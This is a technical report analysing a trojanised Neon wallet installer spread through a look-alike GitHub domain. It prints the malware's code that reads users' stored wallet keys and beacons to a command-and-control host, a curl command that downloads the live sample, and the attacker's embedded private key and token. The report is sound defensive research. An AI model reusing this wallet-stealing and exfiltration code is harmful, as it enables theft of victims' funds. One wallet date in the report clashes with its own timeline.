Homograph Github Domain spreads Neon Wallet Trojan
Technical report, 2019-03-15. English translation of an article initially published in German at internet-sicherheit.de.
In March 2019, Jan-Hendrik Frintrop and me, we became aware of the newly registered domain giṭhub[.]com
(xn--gihub-ns1b[.]com
) which imitates Microsoft’s GitHub service. The domain is an internationalized domain name (IDN) which allows characters from many alphabets including non-latin ones such as Cyrillic.
At first sight, it might not be obvious to the user that the letter ṭ
is not a regular t
but the Unicode codepoint U+1E6D. As a result, the domain does not refer to the benign github.com
, but instead leads to a malicious page.
The domain imitates the releases page of a cryptocoin wallet software called Neon wallet that is published via GitHub at CityOfZion/neon-wallet 0.2.6. While the legitimate page serves the wallet software, the homograph domain distributes a malicious trojan.
Original | Imitation |
---|---|
As can be seen in the screenshots above, the SHA256 hash values of the Windows version differs. The benign variant has SHA256 hash d0e4b1614439d6d72fc4f4cfc8f9f6c52aec8f4f413bf5f02a717ace7d7c8d59
, and the malicious one has 8d07d17d9d5c94fdd941a109333ab587466a204006d85d5b74dbb4e730a7df02
. This spurred our interest and we took a closer look.
Malware distribution
In order to analyze the malware, it can be downloaded as follows:
$ mkdir neon-wallet-malware
$ cd neon-wallet-malware
$ curl -fsSLOR https://www.xn--gihub-ns1b.com/CityOfZion/neon-wallet/releases/download/0.2.6/Neon-0.2.6.Windows.exe
$ sha256sum Neon-0.2.6.Windows.exe
8d07d17d9d5c94fdd941a109333ab587466a204006d85d5b74dbb4e730a7df02 Neon-0.2.6.Windows.exe
The SHA256 hash of the downloaded file is the same as the one provided on the imitation page. The downloaded PE executable is an NSIS installer (NSIS is Nullsoft Scriptable Install System) for the Neon wallet software.
$ file Neon-0.2.6.Windows.exe
Neon-0.2.6.Windows.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Using 7zip, the installer can be inspected as follows.
$ 7z l Neon-0.2.6.Windows.exe
[...]
Listing archive: Neon-0.2.6.Windows.exe
--
Path = Neon-0.2.6.Windows.exe
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
..... 6540 $PLUGINSDIR/System.dll
..... 4615 $PLUGINSDIR/SpiderBanner.dll
..... 2027 $PLUGINSDIR/nsProcess.dll
..... 42421 $PLUGINSDIR/StdUtils.dll
2018-08-08 20:17:50 ..... 31386684 31386684 $PLUGINSDIR/app-32.7z
..... 219732 $PLUGINSDIR/nsis7z.dll
2018-08-08 20:17:50 ..... 118551 Uninstall Neon.exe
..... 1080 $PLUGINSDIR/WinShell.dll
------------------- ----- ------------ ------------ ------------------------
2018-08-08 20:17:50 31386684 31781650 8 files
Timestamps in the archive metadata indicate that the files were archived in August 2018.
An interesting file is $PLUGINSDIR/app-32.7z
which in turn contains the file resources/app.asar
. The Neon wallet software uses the Electron framework. Electron-based applications contain most of the code logic in a so-called asar archive. Asar is an archive format without compression and somewhat similar to tar.
$ 7z e Neon-0.2.6.Windows.exe '$PLUGINSDIR/app-32.7z'
$ 7z l app-32.7z resources/app.asar
[...]
Listing archive: app-32.7z
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
....A 8918951 1697215 resources/app.asar
------------------- ----- ------------ ------------ ------------------------
8918951 1697215 1 files
$ 7z e app-32.7z resources/app.asar
The file resources/app.asar
with SHA256 3ab0807b31a0963136549bf9abecd487e555029cf38e7d96a86c81b8c30131da
can be unpacked with the node.js module (asar
).
The following steps require a node.js runtime environment (node
, npm
und npx
) which can be downloaded from https://nodejs.org/en/download/.
Here, we use node.js Version 10.15.3
.
First, the asar
module is installed.
$ npm install asar
Then, let’s extract the app.asar
file:
$ mkdir app
$ npx asar extract app.asar app/
This should result in the following directory tree:
$ ls app
css images index.html main.js node_modules package.json renderer.js src
A screenshot of the user interface of the malware is shown below:
Malware analysis
An Electron app basically consists of two main parts: a main process and a renderer process. The main process runs in the background, has full access to the node.js runtime and takes care of HTTP requests, file system access and similar. The renderer process runs in an embedded Chromium instance and delivers the graphical user interface of the app.
The source code of an Electron app is mainly provided in JavaScript.
The file package.json
contains metadata about the app.
[...]
"main": "main.js",
[...]
This signals that main.js
is the entry point to the application.
The code in main.js
defines a configuration data structure as follows:
let config = {
"URL": "www.jfasjfoscjepcls.xyz",
"TOKEN": "HNux2kUwIitzaaCmXtTcAXww1eSNwcyK0pXXMm25mZ9OxT8RjEket5yB4tMTxbHD8LfTTtNqmpdHLiJe",
"FOR": "neon",
"WALL": {
"a": "APyJv6JLP6QoNugQH5BAC3mpxz3MRFsZgk",
"en": "6PYKDTkVNhDCxvJVy8sHMybtXTie9nohdsuz3vxmmfr8RAPQjzNmtDESQ9",
"pr": "L2J7PSPfPqpAzaoVanoFPFxz9c4751yHwk8AC3Gg8tGqxy5HpfTX"
}
}
The fields in config.WALL
correspond to the address (a
), the encrypted key (en
) and the private key (pr
) of a wallet.
The purpose of this wallet is not yet known.
URL
, TOKEN
and FOR
are used for the command-and-control communication.
After that, the app loads all stored wallets (file name userWallet.json
) on the victim machine.
if (fs.existsSync(path.join(process.env.APPDATA, 'Neon'))) {
if (fs.existsSync(path.join(process.env.APPDATA, 'Neon', 'storage', 'userWallet.json'))) {
let localUserData = JSON.parse(fs.readFileSync(path.join(process.env.APPDATA, 'Neon', 'storage', 'userWallet.json'), 'utf8'));
if (localUserData.hasOwnProperty('accounts')) {
for (let i = 0; i < localUserData.accounts.length; i++) {
userData[localUserData.accounts[i].label] = {
'address': localUserData.accounts[i].address,
'prv': localUserData.accounts[i].key
}
}
}
}
}
The file renderer.js
contains the logic of the app’s GUI (renderer process).
Once loaded, it triggers an app-loaded
event which is observed by the main process (main.js
):
$(document).ready(function(){
[...]
ipcRenderer.send("app-loaded");
[...]
The main process in turn sends a single beacon to the command-and-control server, informing the operator of a new deployment of the malware.
ipcMain.on('app-loaded', (event, arg) => {
if (typeof _settings.app.install === 'undefined') {
let postData = querystring.stringify({
uuid: _settings.app.uuid,
osType: process.platform,
type: 'install',
auth: config.TOKEN,
version: pack.version,
for: config.FOR
});
var options = {
hostname: config.URL,
port: 80,
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': Buffer.byteLength(postData)
}
};
var req = http.request(options, function (res) {
res.setEncoding('utf8');
res.on('data', function (chunk) {
if (isDev()) {
console.log(chunk);
};
});
res.on('end', function () {
_pref.set('app.install', true);
});
});
req.on('error', function (e) {
if (isDev()) {
console.log(e);
}
});
req.write(postData);
req.end();
}
});
The corresponding HTTP request looks similar to the following where <TOKEN>
refers to the TOKEN value from the configuration:
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 174
Host: www.jfasjfoscjepcls.xyz
Connection: close
uuid=...&osType=win32&type=install&auth=<TOKEN>&version=0.2.6&for=neon
Inter-process communication between the renderer and the main process is performed using the following events:
app-loaded
new-wallet
new-encrypted
new-private
new-seed
Except new-wallet
, all events trigger HTTP-based C2 communication (POST), where app-loaded
has the parameter type: 'install'
set, and all other events exhibit type: 'seed'
.
With the events new-encrypted
and new-private
, the operator receives the encrypted key and the corresponding password or private key of the victim. With new-seed
, the private key and the password of a stored account are transmitted to the C2 server.
Conclusion
In the observed attack, the operator distributes malware using a spoofed GitHub page hosted on a homograph domain. The malware steals Neon wallets and the corresponding credentials. With the stolen data, the attacker can take over the wallets.
Using the homograph Unicode domain, the attacker can send victims spear phishing emails to entice the recipient into installing the malware, provided the subtle difference (the letter ṭ
) in the domain name goes unnoticed:
https://www.giṭhub[.]com/CityOfZion/neon-wallet/releases/download/0.2.6/Neon-0.2.6.Windows.exe
vs.
https://www.github[.]com/CityOfZion/neon-wallet/releases/download/0.2.6/Neon-0.2.6.Windows.exe
The malware code differs significantly from that of the benign application and it does not appear the malicious variant can even act as a wallet at all. The only purpose seems to be stealing wallets. The attacker may risk that victims notice the app is fake, but in this case it is most likely too late. The code of the malicious 0.2.6 version is not obfuscated which makes analysis straight-forward.
The C2 domain jfasjfoscjepcls[.]xyz
was initally registered according to whois data on 2018-07-31 and since then, it resolves continuously to the IP address 164.132.25.92
according to RiskIQ. The whois information is as follows:
$ whois jfasjfoscjepcls.xyz
Domain Name: JFASJFOSCJEPCLS.XYZ
Registry Domain ID: D73288729-CNIC
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: https://www.namesilo.com
Updated Date: 2018-08-05T18:27:47.0Z
Creation Date: 2018-07-31T18:24:17.0Z
Registry Expiry Date: 2019-07-31T23:59:59.0Z
Registrar: NameSilo, LLC
Registrar IANA ID: 1479
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: See PrivacyGuardian.org
Registrant State/Province: AZ
Registrant Country: US
Name Server: NS1.DNSOWL.COM
Name Server: NS2.DNSOWL.COM
Name Server: NS3.DNSOWL.COM
According to RiskIQ, a certificate was issued for the domain www[.]jfasjfoscjepcls[.]xyz
on 2018-09-05. The wallet address found in the code has been around since 2019-08-27 and exhibits transactions between 2019-08-27 and 2019-09-04.
The timestamps in the NSIS installer, the timestamp for the wallet address found in the code, the creation timestamp for the command-and-control domain and its certificate indicate an activity period in August and September 2018. At that time, version 0.2.6 was the most up-to-date version of Neon wallet, which served as template for the malicious app and the content served by the homograph domain. A Reddit post of a possible victim from mid June 2018 suggests that the activity even began before the publication of version 0.2.6 in July 2018.
Further research yields the same malware also masquerades as versions 0.2.7 and 0.2.8 of Neon wallet, also hosted on the homograph domain. These versions refer to the same file with SHA256 8d07d17d9d5c94fdd941a109333ab587466a204006d85d5b74dbb4e730a7df02
as described above. In addition, another file was found to be hosted on the same host with file name Neon-2.0.0.Windows.exe
and SHA256 0c7c80a0452bd5dc71b549c554d56a08c7fc0c424b1dd5341f0c78d2c0bd3175
for which analysis is ongoing.
The creation timestamp of the newly found homograph domain giṭhub[.]com
is 2019-03-06 which indicates recent activity. Possibly, further malware variants are being prepared.
Another homograph domain which is attributed to the same activity is gịthub[.]com
, which has the following pages, all of which are available in urlscan.io:
- https://www.xn–gthub-q81b[.]com
- https://www.xn–gthub-q81b[.]com/CityOfZion/neon-wallet/releases/
- https://www.xn–gthub-q81b[.]com/CityOfZion/neon-wallet/releases/tag/0.2.7/
- https://www.xn–gthub-q81b[.]com/CityOfZion/neon-wallet/releases/tag/0.2.8/
This domain no longer serves the malware as of 2019-03-15.
A similar malware code pattern was found in an application that imitates an EOS light wallet, with SHA256 hash ebdf30b823e0fd119dbd148efbd4fea3b0e6dc82b41ffaac91bcab053d7f1134
. The JavaScript code contains a configuration section with the same C2 domain:
let config = {
"URL" : "w" + "w" + "w.jfasjfoscjepcls" + ".xyz",
"TOKEN" : "HNux2kUwIitzaaCmXtTcAXww1eSNwcyK0pXXMm25mZ9OxT8RjEket5yB4tMTxbHD8LfTTtNqmpdHLiJe",
"FOR": "eos"
}
About the authors
Jan-Hendrik Frintrop studies internet security in a masters programme at the Westphalian University. As part of his masters thesis, supervised by Prof. Dietrich in the institute for internet security, he looks into homograph attacks. Want to learn more about our masters programme internet security? Apply now online at https://www.it-sicherheit.de/master-studieren/ (in German).